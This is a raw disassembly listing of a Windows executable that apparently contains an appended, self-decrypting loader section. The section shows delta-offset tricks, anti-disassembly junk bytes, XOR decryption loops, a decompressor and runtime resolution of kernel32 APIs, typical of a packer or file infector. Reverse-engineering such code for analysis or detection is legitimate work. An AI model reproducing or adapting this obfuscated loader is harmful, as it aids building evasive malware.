dword_461018	dd 0							; sub_413477+9Dr ...
		dd 3 dup(0)
dword_461028	dd 0							; sub_413D39+BFr ...
		align 10h
dword_461030	dd 0							; sub_4183A1+4w ...
dword_461034	dd 0				dd 0
dword_46103C	dd 0							; seg000:004187E9w ...
dword_461040	dd 41h dup(0)	dword_461144	dd 0							; sub_418C85+23w ...
dword_461148	dd 0		dword_46114C	dd 0							; sub_4186D9:loc_418702w ...
dword_461150	dd 0							; seg000:loc_419572w
		align 8
word_461158	dw 0			; DATA XREF: sub_419C1D+1Ao
					; sub_419C1D+46r
byte_46115A	db 0			; DATA XREF: sub_419C1D+39r
		align 4
dword_46115C	dd 7 dup(0)	dword_461178	dd 0							; sub_419C1D+5Co
dword_46117C	dd 0		dword_461180	dd 0		dword_461184	dd 0		dword_461188	dd 0							; sub_419D40+38r ...
		align 10h
dword_461190	dd 0							; sub_419FA2+63w ...
		align 8
dword_461198	dd 0							; sub_419FA2+46r
dword_46119C	dd 10h dup(0)	word_4611DC	dw 0			; DATA XREF: sub_41A200+A8r
word_4611DE	dw 0			; DATA XREF: sub_419FA2+54r
					; sub_41A200+DBr ...
word_4611E0	dw 0			; DATA XREF: sub_41A200+CAr
word_4611E2	dw 0			; DATA XREF: sub_41A200+D3r
					; sub_41A200:loc_41A2F2r
word_4611E4	dw 0			; DATA XREF: sub_41A200+C0r
word_4611E6	dw 0			; DATA XREF: sub_41A200+B8r
word_4611E8	dw 0			; DATA XREF: sub_41A200+B0r
word_4611EA	dw 0			; DATA XREF: sub_41A200+9Er
dword_4611EC	dd 0		dword_4611F0	dd 10h dup(0)	word_461230	dw 0			; DATA XREF: sub_41A200+46r
word_461232	dw 0			; DATA XREF: sub_419FA2:loc_41A019r
					; sub_41A200+78r ...
word_461234	dw 0			; DATA XREF: sub_41A200+67r
word_461236	dw 0			; DATA XREF: sub_41A200+70r
					; sub_41A200:loc_41A284r
word_461238	dw 0			; DATA XREF: sub_41A200+5Dr
word_46123A	dw 0			; DATA XREF: sub_41A200+55r
word_46123C	dw 0			; DATA XREF: sub_41A200+4Dr
word_46123E	dw 0			; DATA XREF: sub_41A200+3Er
dword_461240	dd 0		dword_461244	dd 0							; sub_419FA2:loc_41A0EEr ...
dword_461248	dd 0		dword_46124C	dd 0		dword_461250	dd 0							; sub_41AA01+2Ew ...
dword_461254	dd 0							; sub_41AA01:loc_41AA50r
dword_461258	dd 0							; sub_41AA01+60r
dword_46125C	dd 0							; sub_41B464+6Do
dword_461260	dd 0							; sub_41B464+44o
dword_461264	dd 0							; sub_41B464+37o
dword_461268	dd 0							; sub_41B464+51o
		align 10h
dword_461270	dd 0		dword_461274	dd 0							; sub_41BB58+48w ...
byte_461278	db 0			; DATA XREF: sub_4038D9r sub_4038D9+9w ...
		align 4
dword_46127C	dd 0							; sub_417D7A+14r ...
dword_461280	dd 400h	dup(0)						; seg002:0042FF70o
dword_462280	dd 0							; sub_4178CE+56r ...
		dd 7 dup(0)
dword_4622A0	dd 0							; sub_41793B+75r ...
		dd 3Fh dup(0)
dword_4623A0	dd 0							; sub_417A14+Cr ...
dword_4623A4	dd 0							; seg000:0041826Dw ...
		align 10h
dword_4623B0	dd 3 dup(0)						; seg000:00418379o ...
dword_4623BC	dd 0							; seg000:00418365w ...
byte_4623C0	db 0			; DATA XREF: sub_418447:loc_418553w
					; sub_418447:loc_418570w ...
		align 4
		dd 3Fh dup(0)
byte_4624C0	db 0			; DATA XREF: seg000:00418264o
					; seg000:004182B7o ...
byte_4624C1	db 0			; DATA XREF: sub_413638+5Dr
					; seg000:004182A8w ...
		align 4
		dd 40h dup(0)
dword_4625C4	dd 0							; seg000:00418333w ...
dword_4625C8	dd 0							; sub_414FFF+5r ...
dword_4625CC	dd 0							; sub_4149CB+259r ...
dword_4625D0	dd 0							; sub_4149CB+310w ...
dword_4625D4	dd 0							; sub_4149CB+22Cr ...
dword_4625D8	dd 0							; sub_4149A0r ...
dword_4625DC	dd 0							; sub_4149A0+8r ...
dword_4625E0	dd 0							; sub_4120D3+21r ...
dword_4625E4	dd 0							; seg000:00418936r ...
dword_4625E8	dd 0							; sub_41B5D6r
dword_4625EC	dd 0							; sub_4185CC+11w ...
dword_4625F0	dd 0							; sub_412A63:loc_412AA5r ...
dword_4625F4	dd 0							; sub_412A63+Cr ...
byte_4625F8	db 0			; DATA XREF: sub_41C404+15r
					; sub_41C404+1Ew
		align 1000h
seg002		ends

; Section 4. (virtual address 00063000)
; Virtual size			: 0001A000 ( 106496.)
; Section size in file		: 0001A000 ( 106496.)
; Offset to raw	data for section: 00063000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_data		segment	para public 'CODE' use32
		assume cs:_data
		;org 463000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		db 90h
; ---------------------------------------------------------------------------
		pusha
		call	loc_46300A
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------
		jmp	short loc_46300E
; ---------------------------------------------------------------------------


loc_46300A:				; CODE XREF: .data:00463002j
		pop	ebp
		inc	ebp
		push	ebp
		retn
; ---------------------------------------------------------------------------


loc_46300E:				; CODE XREF: .data:00463008j
		call	loc_463014
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_463014:				; CODE XREF: .data:loc_46300Ej
		pop	ebp
		mov	ebx, 0FFFFFFEDh
		add	ebx, ebp
		sub	ebx, 63000h
		cmp	byte ptr [ebp+4Dh], 1
		jnz	short loc_463034
		mov	esi, [esp+28h]
		cmp	esi, 1
		mov	[ebp+4Eh], ebx
		jnz	short loc_463065


loc_463034:				; CODE XREF: .data:00463026j
		lea	eax, [ebp+53h]
		push	eax
		push	ebx
		push	dword ptr [ebp+9EDh]
		lea	eax, [ebp+35h]
		push	eax
		jmp	loc_4630CA
; ---------------------------------------------------------------------------
		dd 3D0000h, 30000h, 7C809AE4h, 3FE000h,	7C801D77h, 7C80B6A1h
		dd 0
		db 0
; ---------------------------------------------------------------------------


loc_463065:				; CODE XREF: .data:00463032j
		mov	eax, 23A5C0F8h
		push	eax
		push	eax
		add	eax, [ebp+4Eh]
		pop	ebx
		test	eax, eax
		jz	short loc_463090
		jmp	short loc_463077
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_463077:				; CODE XREF: .data:00463074j
		cmp	ebx, 23A5C0F8h
		jz	short loc_4630B4
		xor	edx, edx
		push	esi
		push	0
		push	esi
		push	dword ptr [ebp+4Eh]
		call	eax
		pop	esi
		cmp	esi, 0
		jnz	short loc_4630B4


loc_463090:				; CODE XREF: .data:00463072j
		xor	edx, edx
		mov	eax, [ebp+41h]
		test	eax, eax
		jz	short loc_4630A0
		push	edx
		push	edx
		push	dword ptr [ebp+35h]
		call	eax


loc_4630A0:				; CODE XREF: .data:00463097j
		mov	eax, [ebp+35h]
		test	eax, eax
		jz	short loc_4630B4
		push	8000h
		push	0
		push	dword ptr [ebp+35h]
		call	dword ptr [ebp+3Dh]


loc_4630B4:				; CODE XREF: .data:0046307Dj
					; .data:0046308Ej ...
		pop	ebx
		or	ebx, ebx
		popa
		jnz	short loc_4630C0
		push	1
		pop	eax
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4630C0:				; CODE XREF: .data:004630B8j
		xor	eax, eax
		neg	eax
		sbb	eax, eax
		inc	eax
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4630CA:				; CODE XREF: .data:00463043j
		sbb	ax, 0C362h
		call	near ptr loc_4630DA+2
		mov	al, 29h
		scasb
		dec	edi
		fsubr	st(5), st


loc_4630DA:				; CODE XREF: .data:004630CFp
		mov	edx, 5A83B76Bh
		jb	loc_4630E7
		mov	eax, edx


loc_4630E7:				; CODE XREF: .data:004630DFj
		add	edx, 8A6h
		mov	bx, dx
		push	1FCh
		jmp	loc_46310C
; ---------------------------------------------------------------------------
		dw 0D3C2h
		dd 2F0E0910h, 4B1AC53Ch, 27E64128h, 0C3727DD4h
; ---------------------------------------------------------------------------


loc_46310C:				; CODE XREF: .data:004630F5j
		pop	ecx
		sub	bl, 35h
; START	OF FUNCTION CHUNK FOR sub_463157


loc_463110:				; CODE XREF: sub_463157+2Aj
		mov	esi, [edx]
		mov	ebx, edx
		add	esi, 4B1A765Fh
		and	ah, 46h
		sub	esi, 36CF88ACh
		mov	eax, ebx
		xor	esi, 7309C975h
		mov	ebx, edx
		mov	[edx], esi
		movsx	eax, cx
		sub	edx, 2117A264h	; CODE XREF: sub_463157-4j
		movsx	edi, cx
		add	edx, 2117A260h	; CODE XREF: sub_463157+47j
					; sub_463157+4Bj
		call	near ptr sub_463157
		test	ebx, edx
		or	ebp, eax
		add	[esi+323D94E7h], esp
		add	dword ptr [eax], 39h
		jle	short near ptr loc_463132+2
		sub	al, 0F5h
; END OF FUNCTION CHUNK	FOR sub_463157

; =============== S U B	R O U T	I N E =======================================



sub_463157	proc far		; CODE XREF: sub_463157-16p

; FUNCTION CHUNK AT 00463110 SIZE 00000047 BYTES

		push	36534D18h
		xor	bh, 0ADh
		pop	ebx
		pop	ebx
		dec	ecx
		jnz	loc_46317F
		mov	eax, 127736EBh
		jmp	loc_46318E
; ---------------------------------------------------------------------------
		dw 6E1h
		dd 921DF4C7h, 0DE196063h
		db 0BFh, 8Ch, 0D5h
; ---------------------------------------------------------------------------


loc_46317F:				; CODE XREF: sub_463157+Bj
		mov	al, 8Eh
		jmp	loc_463110
; ---------------------------------------------------------------------------
		db 90h
; ---------------------------------------------------------------------------
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------


loc_46318E:				; CODE XREF: sub_463157+16j
		mov	ebx, esi
		call	sub_4631A8
		dec	edi
		fsubr	st(5), st
		mov	edx, 8661C86Bh
		inc	edi
		jz	short near ptr loc_46313B+2
		adc	ah, bl
		loopne	near ptr loc_46313B+2
		pop	esi
		aas
		or	al, 55h
sub_463157	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4631A8	proc near		; CODE XREF: sub_463157+39p
		mov	dl, al
		pop	ecx
		jmp	loc_4631C2
; ---------------------------------------------------------------------------
		dd 910D3C2h, 0C53C2F0Eh, 41284B1Ah, 7DD427E6h
		db 72h,	0C3h
; ---------------------------------------------------------------------------


loc_4631C2:				; CODE XREF: sub_4631A8+3j
		add	ecx, 7E4h
		xor	esi, 0D2EFDCAh
		mov	eax, 1C8h
		jmp	loc_4631E3
; ---------------------------------------------------------------------------
		pop	ss
		add	al, 0EDh
		and	dh, [ebx+0F6EE970h]
		pushf
		movsd


loc_4631E3:				; CODE XREF: sub_4631A8+2Bj
		mov	edi, [ecx]
		push	ebx
		push	eax
		push	505062A3h
		pop	esi
		pop	edx
		pop	ebx
		add	edi, 0E01E85Fh
		call	near ptr loc_463206+1
		xchg	eax, ecx
		div	bh
		db	64h
		int	82h
		xchg	eax, ebx
		ror	cl, 1
		into
		out	dx, eax
		cld


loc_463206:				; CODE XREF: sub_4631A8+4Dp
		test	[edi], ecx
sub_4631A8	endp ; sp-analysis failed

		adc	dword ptr [edx], 0
; ---------------------------------------------------------------------------
		db 0
		dd 0CE800h, 3D940000h, 39008332h, 0F52CDF7Eh, 5B5BFB8Ah
		dd 12ACEF81h, 81666417h, 811130F6h, 8B8B75C7h, 0D2816642h
		dd 39892F65h, 81D6BF0Fh, 11E61DE9h, 0DEBB666Ch,	19C18193h
		dd 666C11E6h, 816178BAh, 1E8h, 88850F00h, 0B2FFFFFFh, 0BE957B2h
		dd 97000000h, 33A26D84h, 8FEE69F0h, 0E85E251Ch,	6, 0DDB487C6h
		dd 880F2352h, 6, 0C4D79568h, 815B5A42h,	705C3h,	2BF28B00h
		dd 18870FFFh, 0E8000000h, 0Ch, 3B2BD14h, 5FFEB980h, 7B0A75ACh
		dd 2844C881h, 8B5A0279h, 4F683B0Ch, 80152D38h, 8158C8E0h
		dd 0AC99F2F1h, 12E815h,	0E3120000h, 3F5E99E0h, 5B6A550Ch
		dd 3736D1F8h, 0D3C20DA4h, 43C1815Ah, 50549178h,	815AF78Bh
		dd 66CEC0E9h, 0E281665Bh, 0C89DD1Fh, 68C78B3Bh,	25355117h
		dd 3810Fh, 8B660000h, 0EF835EF3h, 7E904h, 0A0A30000h, 0CCFF1E59h
		dd 0A4FF8115h, 0FFFFFF9h, 0FFFF9285h, 0F7B866FFh, 0CE826h
		dd 1DF40000h, 19606392h, 0D58CBFDEh, 0BE9DBEAh,	0B7000000h
		dd 53428D24h, 0AF8E8990h, 8B5945BCh, 53C181D1h,	8A000006h
		dd 17468F4h, 800F0000h,	3, 5EF8BF0Fh, 8B33CA80h, 81D38B19h
		dd 4244A9C3h, 0BA086825h, 8F0F7718h, 6,	860Fh, 815A0000h
		dd 0D8EA2EF3h, 0F0816611h, 0F381E04Ch, 7E49E9CFh, 8911E280h
		dd 81665219h, 5AF47CC8h, 6604E983h, 835714BFh, 850F01EEh
		dd 0FFFFFFB7h, 0B6690ABAh, 0B8BA660Ah, 6E8CFh, 0F7F60000h
		dd 9382CD64h, 5FD68B66h, 0FC2101B8h, 0C4C7814Ah, 0F000005h
		dd 489h, 39B86600h, 14AB9EFh, 0C78B0000h, 0BE937FFh, 0D7000000h
		dd 73E2ADC4h, 0CF2EA930h, 8B5E655Ch, 5DF681D1h,	0E961565Bh
		dd 7, 0DE196063h, 81D58CBFh, 896CD2EEh,	0B6D08008h, 81A3C681h
		dd 81667E17h, 891153E2h, 14E837h, 45BC0000h, 0C1A8CB9Ah
		dd 0FD54A766h, 0F9C043F2h, 0B5EC9F3Eh, 0BA66BB4Ah, 835B4084h
		dd 880F03EFh, 5, 0ABF38166h, 3B44F97h, 0F01E983h, 0FFFF8B85h
		dd 0F28166FFh, 0E8DC7Fh, 5D000000h, 5B5D895Bh, 5F5D895Bh
		dd 0D858958h, 58000004h, 15A7D80h, 85895975h, 425h, 33458D60h
		dd 64C03350h, 896430FFh, 0E8C38B20h, 2E4h, 648B1CEBh, 67640824h
		dd 68Fh, 6104C483h, 5063458Dh, 0E85F55FFh, 2DEh, 676409EBh
		dd 68Fh, 0EB24C483h, 3048001Bh,	0B6A10046h, 656B7C80h
		dd 6C656E72h, 642E3233h, 0E8006C6Ch, 29Ch, 8CB58DFCh, 0AD000000h
		dd 1B74C00Bh, 0CB9F88Bh, 0F3000000h, 10EBA4h, 20004010h
		dd 19B24344h, 0E480AA11h, 89FCA7DEh, 429A5h, 68406A00h
		dd 1000h, 408B5FFh, 6A0000h, 3F095FFh, 85890000h, 1CCh
		dd 4009D8Bh, 9D030000h,	40Dh, 4E85350h,	6A000001h, 10006840h
		dd 0B5FF0000h, 408h, 95FF006Ah,	3F0h, 4318589h,	85890000h
		dd 1D0h, 0A16764h, 2D858900h, 8B000004h, 858B5B55h, 1D0h
		dd 858B0289h, 408h, 8D044289h, 39F85h, 55408B00h, 8B084289h
		dd 3EC85h, 10428900h, 3E8858Bh,	42890000h, 0CC958B14h
		dd 0BB000001h, 1F8h, 0C1A7C8Bh,	1E74FF0Bh, 101A4C8Bh, 1174C90Bh
		dd 1D0BD03h, 748B0000h,	0F203141Ah, 0F302F9C1h,	28C383A5h
		dd 858BDAEBh, 1CCh, 0D0958B50h,	52000001h, 0DA03188Bh
		dd 3E4858Bh, 3890000h, 3E8858Bh, 43890000h, 0EC858B04h
		dd 89000003h, 5E5F0843h, 304468Bh, 0C78589C7h, 8B000001h
		dd 858B5B55h, 1C7h, 8D0C4289h, 40D9Dh, 6A5300h,	16A006Ah
		dd 85E8B57h, 6853DF03h,	8000h, 0FF56006Ah, 3F495h, 0E0006800h
		dd 0C3003Fh, 3A00h
		db 0, 3Dh, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		pusha
		push	ebp
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		cld
		mov	dl, 80h


loc_46363D:				; CODE XREF: .data:loc_46364Cj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi


loc_463643:				; CODE XREF: .data:004636A1j
					; .data:004636E6j ...
		add	dl, dl
		jnz	short loc_46364C
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46364C:				; CODE XREF: .data:00463645j
		jnb	short loc_46363D
		add	dl, dl
		jnz	short loc_463657
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_463657:				; CODE XREF: .data:00463650j
		jnb	short loc_4636A3
		xor	eax, eax
		add	dl, dl
		jnz	short loc_463664
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_463664:				; CODE XREF: .data:0046365Dj
		jnb	loc_463740
		add	dl, dl
		jnz	short loc_463673
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_463673:				; CODE XREF: .data:0046366Cj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_46367E
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46367E:				; CODE XREF: .data:00463677j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_463689
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_463689:				; CODE XREF: .data:00463682j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_463694
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_463694:				; CODE XREF: .data:0046368Dj
		adc	eax, eax
		jz	short loc_46369E
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_46369E:				; CODE XREF: .data:00463696j
		mov	[edi], al
		inc	edi
		jmp	short loc_463643
; ---------------------------------------------------------------------------


loc_4636A3:				; CODE XREF: .data:loc_463657j
		mov	eax, 1


loc_4636A8:				; CODE XREF: .data:loc_4636BCj
		add	dl, dl
		jnz	short loc_4636B1
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4636B1:				; CODE XREF: .data:004636AAj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4636BC
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4636BC:				; CODE XREF: .data:004636B5j
		jb	short loc_4636A8
		sub	eax, 2
		jnz	short loc_4636EB
		mov	ecx, 1


loc_4636C8:				; CODE XREF: .data:loc_4636DCj
		add	dl, dl
		jnz	short loc_4636D1
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4636D1:				; CODE XREF: .data:004636CAj
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4636DC
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4636DC:				; CODE XREF: .data:004636D5j
		jb	short loc_4636C8
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_463643
; ---------------------------------------------------------------------------


loc_4636EB:				; CODE XREF: .data:004636C1j
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_4636F9:				; CODE XREF: .data:loc_46370Dj
		add	dl, dl
		jnz	short loc_463702
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_463702:				; CODE XREF: .data:004636FBj
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_46370D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46370D:				; CODE XREF: .data:00463706j
		jb	short loc_4636F9
		cmp	eax, 7D00h
		jnb	short loc_463730
		cmp	eax, 500h
		jb	short loc_46372B
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_463643
; ---------------------------------------------------------------------------


loc_46372B:				; CODE XREF: .data:0046371Bj
		cmp	eax, 7Fh
		ja	short loc_463733


loc_463730:				; CODE XREF: .data:00463714j
		add	ecx, 2


loc_463733:				; CODE XREF: .data:0046372Ej
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_463643
; ---------------------------------------------------------------------------


loc_463740:				; CODE XREF: .data:loc_463664j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_46375C
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_463643
; ---------------------------------------------------------------------------


loc_46375C:				; CODE XREF: .data:00463748j
		pop	ebp
		sub	edi, [ebp+0Ch]
		mov	[ebp-4], edi
		popa
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------
		dd 7C80261Ch, 2424448Bh, 0FF000025h, 5FFh, 2D0001h, 66000100h
		dd 5A4D3881h, 8960F475h, 3F885h, 8BD08B00h, 3C4003D8h
		dd 89785803h, 30D9Dh, 0CC9D8D00h, 8D000003h, 3E4BDh, 89338B00h
		dd 37CB5h, 0BE800h, 83AB0000h, 3B8304C3h, 61EA7500h, 9D8B60C3h
		dd 30Dh, 3204B8Bh, 3318BCAh, 2FE8F2h, 0CEBF0000h, 3B49CD75h
		dd 830574C7h, 0E9EB04C1h, 2B204B2Bh, 3E9D1CAh, 0CA03244Bh
		dd 0C109B70Fh, 4B0302E1h, 8BCA031Ch, 89CA0309h,	611C244Ch
		dd 8EBA52C3h, 0AC9C3B24h, 1474C00Ah, 8B0D032h, 673EAD1h
		dd 0F39AF281h, 0C8FEC1A7h, 0E7EBF275h, 0A7C35A92h, 0F0B72551h
		dd 57A7493Bh, 13901902h, 0CE74EE32h, 49CD75h, 0A0000000h
		dd 0A17C80ADh, 777C80B6h, 517C801Dh, 0E47C809Ah, 7C809Ah
		dd 7C8000h, 1C000156h, 0F200063Bh, 158h, 300h, 2 dup(400000h)
		dd 3 dup(0)
		dd 1E100h, 0
		dd 12FFA4h, 12FFE0h, 3D0000h, 1000h, 1B800h, 0DB3Ch, 1D000h
		dd 1C00h, 14CFh, 1F000h, 11800h, 5F90h,	4Ah dup(0)
		dd 2000h, 8, 6 dup(0)
		dd 7C80ADA0h, 7C80B6A1h, 7C801D77h, 2 dup(0)
		dd 6E72656Bh, 32336C65h, 6C6C642Eh, 47000000h, 72507465h
		dd 6441636Fh, 73657264h, 73h, 4D746547h, 6C75646Fh, 6E614865h
		dd 41656C64h, 4C000000h, 4C64616Fh, 61726269h, 417972h
		dd 3 dup(0)
		dd 63A10h, 639FCh, 3 dup(0)
		dd 63AB4h, 63AD9h, 3 dup(0)
		dd 63ABFh, 63AE1h, 3 dup(0)
		db 0CCh
		db 3Ah,	6, 0
; ---------------------------------------------------------------------------
		jmp	loc_4640DB
; ---------------------------------------------------------------------------
		align 4
		dd 4 dup(0)
		dd 5F327377h, 642E3233h, 6F006C6Ch, 7561656Ch, 2E323374h
		dd 6C6C64h, 6E72656Bh, 32336C65h, 6C6C642Eh, 0AB2BF400h
		dd 71h,	126AEA00h, 77h,	812A0900h, 7Ch,	56000000h, 61697261h
		dd 6843746Eh, 65676E61h, 65707954h, 7845h, 69615200h, 78456573h
		dd 74706563h, 6E6F69h, 0
		dd 2E838A4h, 8E06170h, 0C2018D88h, 1E7019Fh, 705E5708h
		dd 12578703h, 50BB3810h, 46FF009Ah, 4492513h, 2443BDE3h
		dd 6592260h, 2801142Bh,	70122051h, 1A0A012Ah, 47F45001h
		dd 0E2285790h, 480424A0h, 3044DE20h, 121E89B0h,	9150BD24h
		dd 570A22E0h, 0F0B22842h, 364CC8B9h, 481FBE9h, 20401038h
		dd 5300060Ch, 6E697274h, 75586735h, 50010019h, 338E0420h
		dd 18002C9Ch, 0AC0922A8h, 0A4B044h, 812B8488h, 20E01298h
		dd 4F54070Eh, 656A0062h, 0FF7463h, 7091A425h, 0C08B3242h
		dd 39A01000h, 8E981C9Ch, 23940047h, 0C88C9190h,	8401E488h
		dd 7C398072h, 2286781Ch, 44B82374h, 0E4B4C800h,	3968726Ch
		dd 601C2064h, 58235C00h, 50C85491h, 724C01E4h, 1C443948h
		dd 23B00040h, 3891013Ch, 30E434C8h, 0C439D472h,	0DEE1D3Ah
		dd 2A281C2Ch, 0EE023F8h, 0D8C8DC91h, 0D072D4E0h, 83015318h
		dd 0BBBCC409h, 6E80200Ah, 0C10123E8h, 4400F60Ch, 74DC2C24h
		dd 0F1E05h, 30065CB7h, 0FE38C38Bh, 47EB5B00h, 6534DA2Ch
		dd 8320720h, 3618391Ch,	100F7A14h, 80900C23h, 0BE5653C0h
		dd 0C774074Ch, 3E8312h,	44683A75h, 0CC066701h, 0DFE8036Ah
		dd 8BDBC0h, 75C985C8h, 0C0313305h, 0A1CA5E00h, 89438E48h
		dd 0D4A1C01h, 0D2803F08h, 0C003C28Bh, 441D8D0Fh, 1EC004C1h
		dd 6901889h, 3837D42h, 0EC7564FAh, 10883F9Eh, 59001633h
		dd 3B54B690h, 72D10440h, 0D8F23858h, 1F33E880h,	0ED859602h
		dd 8B493000h, 503A8916h, 56990E08h, 803F0C04h, 6233EF13h
		dd 42481458h, 0B003003Ch, 50191C01h, 0FD083DA2h, 9451F980h
		dd 9991150Eh, 43A33E00h, 9003C307h, 557F57h, 14F9F18Bh
		dd 5AE8D424h, 9760500Fh, 6A466004h, 0BEEB5Dh, 0B03BBF90h
		dd 3D0A043h, 0C795300h,	14751612h, 0E8130006h, 27D4DDA7h
		dd 0A7F6096h, 4460100h,	4C50EB6Eh, 3B4E0003h, 0D75C215h
		dd 180FD41Dh, 6FDF077Dh, 0C7005FEBh, 0E8C5E1D6h, 2B940977h
		dd 990FA084h, 5D5A6AA0h, 8901A45Fh, 12E0C58Dh, 0F8E40A74h
		dd 3A3900BFh, 0A13230FBh, 7201F03Bh, 0CE186C7Dh, 0E8DC4A03h
		dd 6E610055h, 5E77CDD8h, 7500248Fh, 36BCB41Bh, 0CFF01h
		dd 83AA2963h, 40829C7Bh, 65994400h, 0A9743EBh, 0ED7250D8h
		dd 74CE0077h, 5430DFF8h, 1D00FECFh, 0EBCD7329h,	9E2A26h
		dd 24478985h, 7C57F92Bh, 12965C03h, 0E0FBD0F0h,	30D476B9h
		dd 0EB28A76Ah, 0D000E0Ch, 3B1BA898h, 0FA65FB7Eh, 6259071Ch
		dd 23A39092h, 0F0A8DA8Bh, 0CE0AFE81h, 9C02104Eh, 808DBE09h
		dd 0FFC6FC12h, 14BB00E3h, 1008E636h, 73008903h,	68016A04h
		dd 242083h, 90C05618h, 89F880EFh, 0FF853B09h, 909803Ch
		dd 350B8D3h, 0C664482Ah, 80A94A13h, 38BC8E4h, 0F700E8FAh
		dd 7AF84FD5h, 7D1264ACh, 41D91F55h, 47FC80B4h, 6A614304h
		dd 505DB500h, 55520C68h, 75C50E53h, 0CA20791Fh,	1C259332h
		dd 3B839E0Ah, 0A500C729h, 9F6CA4DCh, 4CD200ECh,	0E4491312h
		dd 0E31283C7h, 1E07FF08h, 54117D66h, 0E8C51D90h, 0F88F09E8h
		dd 2A790FC5h, 4180ED10h, 2451EB4Fh, 9073F31Ch, 77EE1E40h
		dd 3BC64946h, 0BB000F03h, 0EDEFDF35h, 43036A74h, 0D568987h
		dd 767FC015h, 0A96B0FDEh, 73609575h, 0A06864Dh,	2C05C700h
		dd 261BDC8Dh, 0DF501C10h, 59FBC781h, 30EB3075h,	0ED7E0460h
		dd 0D47C8300h, 1928C070h, 43E93D0Fh, 22620800h,	0AD2B0C15h
		dd 321D9700h, 14AC50AFh, 0B974A6h, 4CF447B8h, 0EA1C7285h
		dd 0E5813Fh, 337BAF0h, 0C2971Ah, 20930F74h, 0B5F887E2h
		dd 4C1E8900h, 0D10D281Bh, 4DC5072Bh, 0B035F546h, 5EFE3CCFh
		dd 7E12C174h, 9201030Ch, 27C7690h, 3DFDDCCh, 0F1BAE8F8h
		dd 3C800DA6h, 58001E24h, 2B0F1044h, 535764h, 0C1755A85h
		dd 0C9EBA628h, 8A003390h, 0BC65BA0Fh, 0C860Ah, 740B6B92h
		dd 0B6612C32h, 0A221F300h, 86E6824Ch, 9E342650h, 590301D9h
		dd 0F8C9583Fh, 2B0032F7h, 8594410Fh, 0C33842h, 0B773241Ch
		dd 0EFE10ADDh, 8D00DE7Dh, 0E8835EFDh, 3404781h,	2E24249h
		dd 58C89412h, 0AD0038C0h, 0BDD04531h, 0F837C160h, 3FFF00C7h
		dd 83E78753h, 0F50031C0h, 3B33D45Dh, 7F0F60h, 7C4A2C58h
		dd 0E55D759h, 557E800h,	74772117h, 46FD0050h, 85764963h
		dd 0A2073E90h, 0DD0AC935h, 0AA6480DEh, 98E814C7h, 8F2F00A5h
		dd 19CCCB21h, 390BFBAh,	5CCDA7A0h, 7423A500h, 0E83A060Ch
		dd 59CC009Fh, 24376CDEh, 64137A10h, 2B0EB05Ch, 0A73F80FAh
		dd 2C026593h, 806207h, 75558249h, 57EE85F5h, 0FA34200h
		dd 0E0A4968Eh, 0DA95038Dh, 2A2BA90Bh, 56269CE8h, 270FE8F6h
		dd 0E31D35BDh, 3373306h, 0A5C99284h, 42C82686h,	8400B175h
		dd 0EF9D8B16h, 7258C4Dh, 0AAC226Dh, 4E08C0E9h, 0A0008AC9h
		dd 0E345947h, 7850F82h,	9FFF6A66h, 48EB704Bh, 81166B29h
		dd 0AB07F51Ch, 1DA04922h, 1EB4D855h, 40857AA6h,	38832146h
		dd 28006FA8h, 1A406911h, 109A94Fh, 10425214h, 0F44A078Ah
		dd 1600C7ABh, 26239280h, 98C5F98Bh, 199800FCh, 300DE31Ch
		dd 7B000336h, 0BE650F0h, 0DE1F3Bh, 0CFD25B73h, 0D32B7406h
		dd 0EB298B00h, 0B844CC05h, 4D4F0089h, 8F5CF1B9h, 0DB038520h
		dd 59B61FCAh, 64B490C3h
		db 39h,	2Eh, 89h
; ---------------------------------------------------------------------------


loc_4640DB:				; CODE XREF: .data:00463A9Cj
		mov	cl, 2Dh
		add	esp, [ebp-47F7EE4Eh]
		not	byte ptr [ecx+ecx*2]
		add	dl, dh
		dec	eax
		cmp	al, 33h
		inc	eax
